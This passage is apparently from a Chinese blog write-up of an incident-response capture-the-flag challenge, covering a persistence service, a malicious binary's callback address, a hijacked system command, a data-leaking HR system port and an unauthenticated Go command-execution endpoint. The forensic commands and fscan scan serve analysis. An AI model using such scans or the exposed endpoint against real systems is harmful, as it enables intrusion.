class=\"wp-block-list\">\n<li><strong>\u5b89\u5168\u52a0\u56fa<\/strong><\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li><br><p>\u76d1\u63a7 <code>\/usr\/bin\/<\/code> \u548c <code>\/etc\/systemd\/system\/<\/code> \u7684\u6587\u4ef6\u53d8\u5316\uff08\u5982\u4f7f\u7528 <code>auditd<\/code> \u6216 <code>tripwire<\/code>\uff09\u3002<\/p><br><\/li>\n\n\n\n<li><br><p>\u9650\u5236 systemd \u670d\u52a1\u521b\u5efa\u6743\u9650\uff1a<\/p><br><pre><code>PLAINTEXT<br><br>chmod 750 \/etc\/systemd\/system\/  # \u4ec5\u5141\u8bb8 root \u5199\u5165<\/code><\/pre><br><\/li>\n<\/ul>\n\n\n\n<p><strong>\u6240\u4ee5 \u6743\u9650\u7ef4\u6301\u65b9\u6cd5\u670d\u52a1\u540d\u79f0\u4e3arootset.service<\/strong><\/p>\n\n\n\n<p>\u67e5\u770b\u8fd0\u884c\u7aef\u53e3\u4e5f\u80fd\u770b\u5230\u6076\u610f\u7a0b\u5e8f\u540d\u5b57<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-489.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"865\" height=\"173\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-489.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-813\"  sizes=\"auto, (max-width: 865px) 100vw, 865px\" \/><\/div><\/figure>\n\n\n\n<p>\u53d1\u73b0\u4e86\u5916\u8054ip\u542f\u52a8\u6076\u610f\u7a0b\u5e8f\u4e3ab4b40c4ws<\/p>\n\n\n\n<p>\u6211\u4eec\u5148\u770b\u770bb4b40c4ws\u5728\u54ea\uff1f<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-490.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"675\" height=\"105\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-490.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-814\"  sizes=\"auto, (max-width: 675px) 100vw, 675px\" \/><\/div><\/figure>\n\n\n\n<p>\u56e0\u4e3a\u8003\u8651\u5230\u6211\u4eec\u7684sshserver\u673a\u5668\u662f\u91cd\u542f\u4e4b\u540e\u7684\uff0c\u91cd\u542f\u4e4b\u540e\u8fd8\u6709\u8fd9\u4e2a\u6076\u610f\u5916\u8054\uff0c\u6240\u4ee5\u53ef\u80fd\u5b58\u5728\u5b9a\u65f6<br>\u4efb\u52a1\u6216\u670d\u52a1\u81ea\u542f\u52a8\u9879\uff0c\u56e0\u4e3a\u9898\u76ee\u95ee\u7684\u662f\u7ef4\u6743\u65b9\u6cd5\u670d\u52a1\u7684\u540d\u79f0\uff0c\u6240\u4ee5\u5927\u6982\u7387\u5c31\u662f\u4f7f\u7528\u7684\u670d\u52a1\u81ea\u542f\u52a8<br>\u9879<br>\u67e5\u770b PID \u5bf9\u5e94\u7684 systemd \u670d\u52a1\u6709\u4e24\u79cd\u65b9\u6cd5<br>\u76f4\u63a5\u4f7f\u7528\u547d\u4ee4\u67e5\u770b\uff1a<br>systemctl status pid\u53f7\uff0c\u53ef\u4ee5\u53d1\u73b0\u7ef4\u6743\u670d\u52a1<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-491.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"759\" height=\"169\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-491.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-815\"  sizes=\"auto, (max-width: 759px) 100vw, 759px\" \/><\/div><\/figure>\n\n\n\n<p>\u5c31\u53ef\u4ee5\u770b\u5230\u6076\u610f\u670d\u52a1<\/p>\n\n\n\n<p>palu{rootset}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">12.\u63d0\u4ea4\u653b\u51fb\u8005\u653b\u51fb\u6076\u610f\u670d\u52a1\u5668\u8fde\u63a5\u5730\u5740\u4f5c\u4e3aflag\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u5728\u4e0a\u4e00\u9898\u5df2\u7ecf\u5206\u6790\u627e\u5230\u4e86\u5916\u8054\u5730\u5740\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-492.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"275\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-492.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-816\"  sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<p>\u5176\u4ed6\u65b9\u6cd5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cp \/usr\/bin\/b4b40c44ws home\/ubuntu<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-493.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"676\" height=\"181\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-493.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-817\"  sizes=\"auto, (max-width: 676px) 100vw, 676px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e0b\u8f7d<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-494-1024x538.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"538\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-494-1024x538.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-818\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u76f4\u63a5\u5c06b4b40c44ws\u62d6\u5165ida\u5206\u6790\uff0c\u53cd\u6c47\u7f16\u540e\u76f4\u63a5\u53ef\u4ee5\u770b\u5230ip\u5730\u5740<\/p>\n\n\n\n<p>\u4e22\u5230\u5fae\u6b65\u4e5f\u662f\u4e00\u6837\u7684\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-495-1024x547.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"547\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-495-1024x547.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-819\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{47.101.213.153}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">13.\u627e\u5230\u7cfb\u7edf\u4e2d\u88ab\u52ab\u6301\u7684\u7a0b\u5e8f\u7a0b\u5e8f\u540d\u4f5c\u4e3aflag\u63d0\u4ea4<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>ls -alh \/usr\/bin \/bin \/usr\/sbin \/sbin | grep -vE 'root|staff|bin'<\/code><\/pre>\n\n\n\n<p>\u8fd9\u6761\u547d\u4ee4\u7684\u610f\u601d\u662f\uff1a\u5728\u7cfb\u7edf\u6838\u5fc3\u53ef\u6267\u884c\u76ee\u5f55\u4e2d\uff0c\u627e\u51fa\u201c\u6587\u4ef6\u5c5e\u4e3b\u4e0d\u662f\u5e38\u89c4\u7cfb\u7edf\u7528\u6237\u201d\u7684\u53ef\u7591\u7a0b\u5e8f\u3002<br>\u8fd9\u4e9b\u76ee\u5f55\u5305\u542b\u7edd\u5927\u591a\u6570\u7684\u7cfb\u7edf\u547d\u4ee4\uff1a<br>\/bin \uff1a\u57fa\u7840\u547d\u4ee4\uff0c\u5982 ls \u3001cp \u3001mv &#8230;<br>\/usr\/bin \uff1a\u6269\u5c55\u547d\u4ee4\uff0c\u5982 vim \u3001nano \u3001python3 &#8230;<br>\/sbin \uff1a\u7cfb\u7edf\u7ba1\u7406\u547d\u4ee4\uff0c\u5982 ifconfig \u3001reboot<br>\/usr\/sbin \uff1a\u66f4\u591a\u7684\u7ba1\u7406\u547d\u4ee4\uff0c\u5982 sshd \u3001apache2<br>\u5728 \/bin \u3001\/usr\/bin \u7b49\u7cfb\u7edf\u547d\u4ee4\u76ee\u5f55\u4e2d\uff0c\u7edd\u5927\u90e8\u5206\u7a0b\u5e8f\u90fd\u5e94\u8be5\u5c5e\u4e8e root\uff08\u6216\u8005\u6781\u5c11\u6570\u5c5e\u4e8e bin\u3001<br>staff\uff09\u3002<br>\u26a0\ufe0f \u5982\u679c\u4f60\u770b\u5230\u6709\u6587\u4ef6\u7684\u62e5\u6709\u8005\u662f\uff1a<br>ubuntu \u3001www-data \u3001nobody<br>\u67d0\u4e2a\u666e\u901a\u7528\u6237<br>UID \u4e0d\u662f 0\uff08\u975e root\uff09<\/p>\n\n\n\n<p>\u90a3\u8bf4\u660e\u8fd9\u4e2a\u7a0b\u5e8f\u4e0d\u662f\u7531\u7cfb\u7edf\u6b63\u5e38\u5b89\u88c5\u7684\uff0c\u53ef\u80fd\u662f\u653b\u51fb\u8005\u653e\u8fdb\u53bb\u7684\u4f2a\u88c5\u7a0b\u5e8f\u3001\u540e\u95e8\u3001\u6728\u9a6c\u3002<\/p>\n\n\n\n<p>id\u662f\u7cfb\u7edf\u547d\u4ee4\u4e0d\u53ef\u80fd\u5c5e\u4e8eubuntu\u7684\u7528\u6237\u548c\u7528\u6237\u7ec4<\/p>\n\n\n\n<p>palu{id}<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-496.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"835\" height=\"170\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-496.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-820\"  sizes=\"auto, (max-width: 835px) 100vw, 835px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ps -ef \u627e\u5230<\/code><\/pre>\n\n\n\n<p>\u4e5f\u53ef\u4ee5\u770b\u5230<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-497.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"961\" height=\"663\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-497.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-821\"  sizes=\"auto, (max-width: 961px) 100vw, 961px\" \/><\/div><\/figure>\n\n\n\n<p>palu{id}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">14.\u627e\u5230\u7cfb\u7edf\u4e2d\u5b58\u5728\u4fe1\u606f\u6cc4\u9732\u7684\u670d\u52a1\u8fd0\u884c\u7aef\u53e3\u4f5c\u4e3aflag\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u8fdb\u5165server01\u670d\u52a1\u5668<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-498-1024x293.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"293\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-498-1024x293.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-822\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u67e5\u770b\u5f00\u653e\u4e86\u90a3\u4e9b\u7aef\u53e3<\/p>\n\n\n\n<p>\u6216\u8005namap\u626b\u63cf\u6216\u8005Fscan\u626b\u63cf<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>fscan -h 192.168.20.103 -full<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-499-1024x525.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"525\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-499-1024x525.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-823\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u53d1\u73b08081\u7aef\u53e3\u662f\u4e2a\u4eba\u4e8b\u7ba1\u7406\u7cfb\u7edf\u975e\u5e38\u5bb9\u6613\u6cc4\u9732<\/p>\n\n\n\n<p>\u770b\u770b<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-500-1024x567.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"567\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-500-1024x567.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-824\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5c45\u7136\u53ef\u4ee5\u770b\u5230\u5458\u5de5\u7684\u8be6\u7ec6\u4fe1\u606f\u6240\u4ee5\u8fd9\u4e2a\u5c31\u662f\u6cc4\u9732\u7aef\u53e3<\/p>\n\n\n\n<p>palu{8081}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">15.\u63d0\u4ea4Parloo\u516c\u53f8\u9879\u76ee\u7ecf\u7406\u7684\u8eab\u4efd\u8bc1\u53f7\u4f5c\u4e3aflag\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u4e0a\u4e00\u4e2a\u9898\u5c31\u53ef\u4ee5\u770b\u5230<\/p>\n\n\n\n<p>palu{310105198512123456}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">16.\u63d0\u4ea4\u5b58\u5728\u5371\u9669\u529f\u80fd\u7684\u64cd\u4f5c\u7cfb\u7edf\u8def\u5f84\u4f5c\u4e3aflag\u63d0\u4ea4\u3002flag\u683c\u5f0f\u4e3apalu{\/xxx\/xxx}<\/h2>\n\n\n\n<p>\u770b192.168.20.103:3000\u7aef\u53e3<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-501-1024x564.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"564\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-501-1024x564.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-825\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5728\u63a2\u7d22\u4e2d\u53ea\u6709\u4e00\u4e2a\u516c\u5f00\u4ed3\u5e93<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-502-1024x488.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"488\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-502-1024x488.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-826\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-503-1024x644.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"644\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-503-1024x644.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-827\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><strong>\u65e0\u8eab\u4efd\u9a8c\u8bc1<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http.HandleFunc(\"\/admin\/parloo\", func(w http.ResponseWriter, r *http.Request) {<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u98ce\u9669<\/strong>\uff1a\u4efb\u4f55\u4eba\u90fd\u53ef\u4ee5\u8bbf\u95ee <code>\/admin\/parloo<\/code> \u8def\u5f84\u5e76\u6267\u884c\u547d\u4ee4<\/li>\n\n\n\n<li><strong>\u653b\u51fb<\/strong>\uff1a\u653b\u51fb\u8005\u53ef\u4ee5\u76f4\u63a5\u8bbf\u95ee\u6b64\u63a5\u53e3\uff0c\u65e0\u9700\u4efb\u4f55\u767b\u5f55\u51ed\u8bc1<\/li>\n<\/ul>\n\n\n\n<p>\u672c\u8eab\u662f\u4e00\u4e2ago\u5199\u7684\u4ee3\u7801\uff0c\u4ee3\u7801\u903b\u8f91:\u901a\u8fc7 \/admin\/par1o\u3002\u8def\u5f84\u63d0\u4f9b Web \u754c\u9762\uff0c\u652f\u6301 GET\u663e\u793a\u8868\u5355)\u548c POST(\u6267\u884c\u547d\u4ee4)\u8bf7\u6c42\u3002<\/p>\n\n\n\n<p>\u8fd9\u4e2a\u8def\u5f84\u5f88\u5371\u9669<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-504-1024x684.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"684\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-504-1024x684.png\" 